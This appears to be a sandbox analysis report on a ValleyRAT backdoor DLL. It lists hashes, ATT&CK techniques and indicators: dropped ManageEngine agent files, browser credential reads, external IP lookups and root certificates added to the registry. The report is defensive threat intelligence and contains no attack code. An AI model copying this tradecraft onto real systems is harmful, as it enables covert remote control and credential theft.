valleyrat_s2 | 1eef53fbb9585791902ef581c9fbd6060057fbc1d530577307b3886e8f591b43

Analysis

max time kernel
124s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/10/2026, 10:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1eef53fbb9585791902ef581c9fbd6060057fbc1d530577307b3886e8f591b43.dll
Size 5.4MB
Sample261014-mvfc9azz2p
SHA256 1eef53fbb9585791902ef581c9fbd6060057fbc1d530577307b3886e8f591b43
MD5 aa919ef0733a579036f9e85c4f73eb9b
SHA1 de150033dfb3e35de438271f44e6dad3b4b201ed
SHA512 db3da8f52c8f7f09783a6b125021b45c6d215305977606e7e72b727da1988f998eeb8225019494fad24de0ac6372393b50b46f2b5be365895cd22da13c6c0b28
SSDEEP 98304:EL41UfZn4Th8ay2YaX2Pm9lZWNbM9B5GYTR7/9FtnBFOI9K8:0wq1UlYG2PU9/N7lFHsH8
TLSH
T1DD46D006A6FD00FAC876D139C653896FE7B274011A31D54F43A24B096F37B229E6B379
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

backdoor defense_evasion discovery execution valleyrat_s2 persistence ransomware rat spyware stealer trojan

Malware Config

Signatures

Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
backdoor valleyrat_s2

Detects ValleyRAT payload 7 IoCs

resource	yara_rule
behavioral2/memory/1832-33-0x0000021A18840000-0x0000021A188A9000-memory.dmp	family_valleyrat_stage_2_v2
behavioral2/memory/1832-34-0x0000021A189B0000-0x0000021A18A20000-memory.dmp	family_valleyrat_stage_2_v2
behavioral2/memory/1832-35-0x0000021A189B0000-0x0000021A18A20000-memory.dmp	family_valleyrat_stage_2_v2
behavioral2/memory/1832-38-0x0000021A189B0000-0x0000021A18A20000-memory.dmp	family_valleyrat_stage_2_v2
behavioral2/memory/1832-40-0x0000021A189B0000-0x0000021A18A20000-memory.dmp	family_valleyrat_stage_2_v2
behavioral2/memory/1832-39-0x0000021A189B0000-0x0000021A18A20000-memory.dmp	family_valleyrat_stage_2_v2
behavioral2/memory/1832-76-0x0000021A189B0000-0x0000021A18A20000-memory.dmp	family_valleyrat_stage_2_v2

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1832	rundll32.exe
3	1832	rundll32.exe
4	1832	rundll32.exe
5	1832	rundll32.exe
6	1832	rundll32.exe
7	1832	rundll32.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
9	5808	curl.exe

DCAgent remote management tool 3 IoCs

DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

backdoor rat

resource	yara_rule
behavioral2/files/0x000c00000001c626-210.dat	hacktool_dcagent
behavioral2/files/0x000c00000001c659-445.dat	hacktool_dcagent
behavioral2/files/0x000c00000001c6cd-1044.dat	hacktool_dcagent

Executes dropped EXE 3 IoCs

pid	Process
4764	rundll32.exe
4176	CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe
4376	dcagentregister.exe

Loads dropped DLL 18 IoCs

pid	Process
672	MsiExec.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe
4376	dcagentregister.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6116	icacls.exe
1048	icacls.exe
4936	icacls.exe
5088	icacls.exe
2364	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 45 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com
4	api.ipify.org
1	api.ipify.org

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\dclibxml2.dll	msiexec.exe
File created	C:\Windows\SysWOW64\dcagentlibxml2.dll	msiexec.exe
File opened for modification	C:\Windows\system32\cRcliEnt.Dll	rundll32.exe
File opened for modification	C:\Windows\system32\rundll32.exe	rundll32.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4916	WScript.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\pwd-show.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA-Server.crt	dcagentregister.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ecdatatransfer_access.log	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcannouncement.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\remind.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\restore_icon.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Archive_success.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\waiting_aprvl.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\config_install_alert.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\PortableDetectionSettings.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoMigrator.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\hot_mover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdown_hover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\default.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7z.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\uesmsghandler.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-edb.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_request.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\icon_alert.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\installing-updates.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240852359.tmp	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh_Inactive.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\cru-monitor-list.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\stamp_used.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh_inactive.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\sbomConfig.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_icon.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\dc_rds.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\partialApp.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\close_top_hover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\restart.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_icon.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Find.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\logo_light.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\ChatFrame.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_hot.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ImageFactor.json	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\dynamic-variables.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\InitCmd.bat	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Remove.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\DisableEnableEthernet.vbs	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\history.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\cold_normal.gif	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagenthttp0.log	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hs_runtime.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Apps.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240853359.tmp	dcagentregister.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log	MsiExec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\messagebox_info.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\azurefs.ps1	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BinaryInfo.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Restart.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_install.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Apps_active.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\ZChangeNotifier.dll	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json	dcagentregister.exe
File created	C:\Windows\Installer\e5a82dd.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a82dd.msi	msiexec.exe
File created	C:\Windows\Installer\e5a82de.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a82de.mst	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFEA760A7A9A9A7B13.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8E57.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7C86EF00E433FB47.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI95AB.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4896	cmd.exe
6136	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 8 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\219B18C4C21E83BD7934B13CCEDD43617ACBC191\Blob = 0f0000000100000020000000cc0dfd32e274c341a8507bbec8edec77522b63b928accd88584a4f9c4be0aa7b030000000100000014000000219b18c4c21e83bd7934b13ccedd43617acbc1912000000001000000d8030000308203d4308202bca00302010202086879d42dce0dcf00300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932323135313334385a180f32303531303932323135313334385a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c42cda394f1548ea055a0fe67700492bb6c9d771a4375d77da56ff69d8c303b6faeb0b25e9fa13a5ba9165b17cb3e9fe6a8ab18467aa302f3650796a55cfd5c284f71b03589da2381dbedb5420b84662ec42fe925915436a68916e6ea32548ad4b6008b75252de48ab1a28cab42e0397cff282ef40e0b2e21557a46377bd5942e1858004f2c2b66ce31619422b9c7fb6448b94871bbe98fc0ed0099d08bf0255db5d9d5e7cbf92aca99627d7f1767e7a4c8bf2e39864e9d602cc60107c701ae1d625433e130174c03d44ced9da1502ed5e3560f19172d3a3aba6bb0ff23ea6b4a3ba0e7e36cb0da33b36bd0fab729892780bb9f79d5430679ff0c343861fda850203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604146efcc2a75d59a92ff31749ef799a2709a8f42160301f0603551d230418301680146efcc2a75d59a92ff31749ef799a2709a8f42160300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101006db05651505e6f6bd5286f1d2918acc4cef081def905e8886b6fca48338acc3fb81486167f72952581f341a534dec2e95f6fa325ac2e8c7d54844d0fcdf3337d6703fc8f0e26a24963f441e6c52c7df3f9e33cd210ced03a89d9e3edc067f2a799589be178b8a9b603818a2dd82b828fcc905606c8dc3110358dff3cf7f20a09e331de438cd515e3c23d412b211bcdb0bd7072d9825f3f627347a700e000ec70e5412afa49eaea248b48af0734f47b9151ec726d84f5f32060d0bb4e22b26f21d4e7ac63d0383756e99d340e18979d3f902ef8ae882e529f29d56867a2ca43a47d36c44f49becd65541de0c7563c45f6f0b77565fda0d4e253899af2dc23ad1b	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\43BADDBEF107A0B95BEE2C8D553BB8AB8AE229A7\Blob = 1400000001000000140000000e43237cd2be531e57212969db4ff6059dc2054f03000000010000001400000043baddbef107a0b95bee2c8d553bb8ab8ae229a70f000000010000002000000031453155f70a41435ac3c8fa5c6c53971b3058c0fcc7a51a0da4198553e6eb372000000001000000f0030000308203ec308202d4a00302010202082b5eb3d52c4531ac300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932323135313334395a180f32303531303932323135313334395a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100af8da038e48f91700aa3384e540172de53fc15bb9c3b0007c3d06a9c400a1297cca24b0a9e8f18991b4b4c75bdcde1c5ee213b8ec801b4edaf84a0282184fd72503bc25eb618ea0a866424fc2383ebd9b263a66355736743d62d4a74e7b25ad45c1f48d5e6adc1f97a335ffaa43cf101272a35338bb8b2f396c420a742f04d764b4ab94080cfb644861c7803c1ece2316cfe4ebbf9d414daa2574db37b51e86c9a878da6fe6f93b5d5d0f8d6a41dde9379854324bc4d1abe0767e3e6e85d5d21b218365cd1e6dd0b67844c902a1c1abd074205d0d097e0ed68bfc2a814f1a9e4fdda56acf1f405f56fc757167f214c6c0bf5d2279c132437936d1e648875afa70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604140e43237cd2be531e57212969db4ff6059dc2054f301f0603551d230418301680140e43237cd2be531e57212969db4ff6059dc2054f300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101004d65da269bcdc809c413609d90fda62e872277c410686b38c623bcdfcbbd3870881a3e20a8361881a1963d50261856e00383e4cfcc599d865e21adf94c72199408a44e9fb61312f6d6de9e58d31552df6a0aaa0921e3550d526d866118a66e041f203c19c62024b4e0ffb1e0bd6e93905d246a3f1844296eceaebdd2998be571341b63a4ce2c8372c3b2da594d4e67a761909c39e8664ff95e68773eda8182b81b3282f84d837a5776000164cd82b1d2dddb638d464c65ea1e165058cd4478ee8bee92283611e515d01bc189234af81699eae372089f16a89d30667b1df4ba601a4d53b2fabb33f7096d3de2f2590554464447cde15f0d6387fcea47a77b96f5	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\219B18C4C21E83BD7934B13CCEDD43617ACBC191\Blob = 1400000001000000140000006efcc2a75d59a92ff31749ef799a2709a8f42160030000000100000014000000219b18c4c21e83bd7934b13ccedd43617acbc1910f0000000100000020000000cc0dfd32e274c341a8507bbec8edec77522b63b928accd88584a4f9c4be0aa7b2000000001000000d8030000308203d4308202bca00302010202086879d42dce0dcf00300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932323135313334385a180f32303531303932323135313334385a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c42cda394f1548ea055a0fe67700492bb6c9d771a4375d77da56ff69d8c303b6faeb0b25e9fa13a5ba9165b17cb3e9fe6a8ab18467aa302f3650796a55cfd5c284f71b03589da2381dbedb5420b84662ec42fe925915436a68916e6ea32548ad4b6008b75252de48ab1a28cab42e0397cff282ef40e0b2e21557a46377bd5942e1858004f2c2b66ce31619422b9c7fb6448b94871bbe98fc0ed0099d08bf0255db5d9d5e7cbf92aca99627d7f1767e7a4c8bf2e39864e9d602cc60107c701ae1d625433e130174c03d44ced9da1502ed5e3560f19172d3a3aba6bb0ff23ea6b4a3ba0e7e36cb0da33b36bd0fab729892780bb9f79d5430679ff0c343861fda850203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604146efcc2a75d59a92ff31749ef799a2709a8f42160301f0603551d230418301680146efcc2a75d59a92ff31749ef799a2709a8f42160300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101006db05651505e6f6bd5286f1d2918acc4cef081def905e8886b6fca48338acc3fb81486167f72952581f341a534dec2e95f6fa325ac2e8c7d54844d0fcdf3337d6703fc8f0e26a24963f441e6c52c7df3f9e33cd210ced03a89d9e3edc067f2a799589be178b8a9b603818a2dd82b828fcc905606c8dc3110358dff3cf7f20a09e331de438cd515e3c23d412b211bcdb0bd7072d9825f3f627347a700e000ec70e5412afa49eaea248b48af0734f47b9151ec726d84f5f32060d0bb4e22b26f21d4e7ac63d0383756e99d340e18979d3f902ef8ae882e529f29d56867a2ca43a47d36c44f49becd65541de0c7563c45f6f0b77565fda0d4e253899af2dc23ad1b	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\43BADDBEF107A0B95BEE2C8D553BB8AB8AE229A7\Blob = 1900000001000000100000000415db71d6ae20519d0866a27c2ed2960f000000010000002000000031453155f70a41435ac3c8fa5c6c53971b3058c0fcc7a51a0da4198553e6eb3703000000010000001400000043baddbef107a0b95bee2c8d553bb8ab8ae229a71400000001000000140000000e43237cd2be531e57212969db4ff6059dc2054f2000000001000000f0030000308203ec308202d4a00302010202082b5eb3d52c4531ac300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932323135313334395a180f32303531303932323135313334395a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100af8da038e48f91700aa3384e540172de53fc15bb9c3b0007c3d06a9c400a1297cca24b0a9e8f18991b4b4c75bdcde1c5ee213b8ec801b4edaf84a0282184fd72503bc25eb618ea0a866424fc2383ebd9b263a66355736743d62d4a74e7b25ad45c1f48d5e6adc1f97a335ffaa43cf101272a35338bb8b2f396c420a742f04d764b4ab94080cfb644861c7803c1ece2316cfe4ebbf9d414daa2574db37b51e86c9a878da6fe6f93b5d5d0f8d6a41dde9379854324bc4d1abe0767e3e6e85d5d21b218365cd1e6dd0b67844c902a1c1abd074205d0d097e0ed68bfc2a814f1a9e4fdda56acf1f405f56fc757167f214c6c0bf5d2279c132437936d1e648875afa70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604140e43237cd2be531e57212969db4ff6059dc2054f301f0603551d230418301680140e43237cd2be531e57212969db4ff6059dc2054f300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101004d65da269bcdc809c413609d90fda62e872277c410686b38c623bcdfcbbd3870881a3e20a8361881a1963d50261856e00383e4cfcc599d865e21adf94c72199408a44e9fb61312f6d6de9e58d31552df6a0aaa0921e3550d526d866118a66e041f203c19c62024b4e0ffb1e0bd6e93905d246a3f1844296eceaebdd2998be571341b63a4ce2c8372c3b2da594d4e67a761909c39e8664ff95e68773eda8182b81b3282f84d837a5776000164cd82b1d2dddb638d464c65ea1e165058cd4478ee8bee92283611e515d01bc189234af81699eae372089f16a89d30667b1df4ba601a4d53b2fabb33f7096d3de2f2590554464447cde15f0d6387fcea47a77b96f5	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\219B18C4C21E83BD7934B13CCEDD43617ACBC191\Blob = 1900000001000000100000009b9ec8be070b26d55282bba1fac4604c0f0000000100000020000000cc0dfd32e274c341a8507bbec8edec77522b63b928accd88584a4f9c4be0aa7b030000000100000014000000219b18c4c21e83bd7934b13ccedd43617acbc1911400000001000000140000006efcc2a75d59a92ff31749ef799a2709a8f421602000000001000000d8030000308203d4308202bca00302010202086879d42dce0dcf00300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932323135313334385a180f32303531303932323135313334385a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c42cda394f1548ea055a0fe67700492bb6c9d771a4375d77da56ff69d8c303b6faeb0b25e9fa13a5ba9165b17cb3e9fe6a8ab18467aa302f3650796a55cfd5c284f71b03589da2381dbedb5420b84662ec42fe925915436a68916e6ea32548ad4b6008b75252de48ab1a28cab42e0397cff282ef40e0b2e21557a46377bd5942e1858004f2c2b66ce31619422b9c7fb6448b94871bbe98fc0ed0099d08bf0255db5d9d5e7cbf92aca99627d7f1767e7a4c8bf2e39864e9d602cc60107c701ae1d625433e130174c03d44ced9da1502ed5e3560f19172d3a3aba6bb0ff23ea6b4a3ba0e7e36cb0da33b36bd0fab729892780bb9f79d5430679ff0c343861fda850203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604146efcc2a75d59a92ff31749ef799a2709a8f42160301f0603551d230418301680146efcc2a75d59a92ff31749ef799a2709a8f42160300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101006db05651505e6f6bd5286f1d2918acc4cef081def905e8886b6fca48338acc3fb81486167f72952581f341a534dec2e95f6fa325ac2e8c7d54844d0fcdf3337d6703fc8f0e26a24963f441e6c52c7df3f9e33cd210ced03a89d9e3edc067f2a799589be178b8a9b603818a2dd82b828fcc905606c8dc3110358dff3cf7f20a09e331de438cd515e3c23d412b211bcdb0bd7072d9825f3f627347a700e000ec70e5412afa49eaea248b48af0734f47b9151ec726d84f5f32060d0bb4e22b26f21d4e7ac63d0383756e99d340e18979d3f902ef8ae882e529f29d56867a2ca43a47d36c44f49becd65541de0c7563c45f6f0b77565fda0d4e253899af2dc23ad1b	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\219B18C4C21E83BD7934B13CCEDD43617ACBC191\Blob = 030000000100000014000000219b18c4c21e83bd7934b13ccedd43617acbc1912000000001000000d8030000308203d4308202bca00302010202086879d42dce0dcf00300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932323135313334385a180f32303531303932323135313334385a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c42cda394f1548ea055a0fe67700492bb6c9d771a4375d77da56ff69d8c303b6faeb0b25e9fa13a5ba9165b17cb3e9fe6a8ab18467aa302f3650796a55cfd5c284f71b03589da2381dbedb5420b84662ec42fe925915436a68916e6ea32548ad4b6008b75252de48ab1a28cab42e0397cff282ef40e0b2e21557a46377bd5942e1858004f2c2b66ce31619422b9c7fb6448b94871bbe98fc0ed0099d08bf0255db5d9d5e7cbf92aca99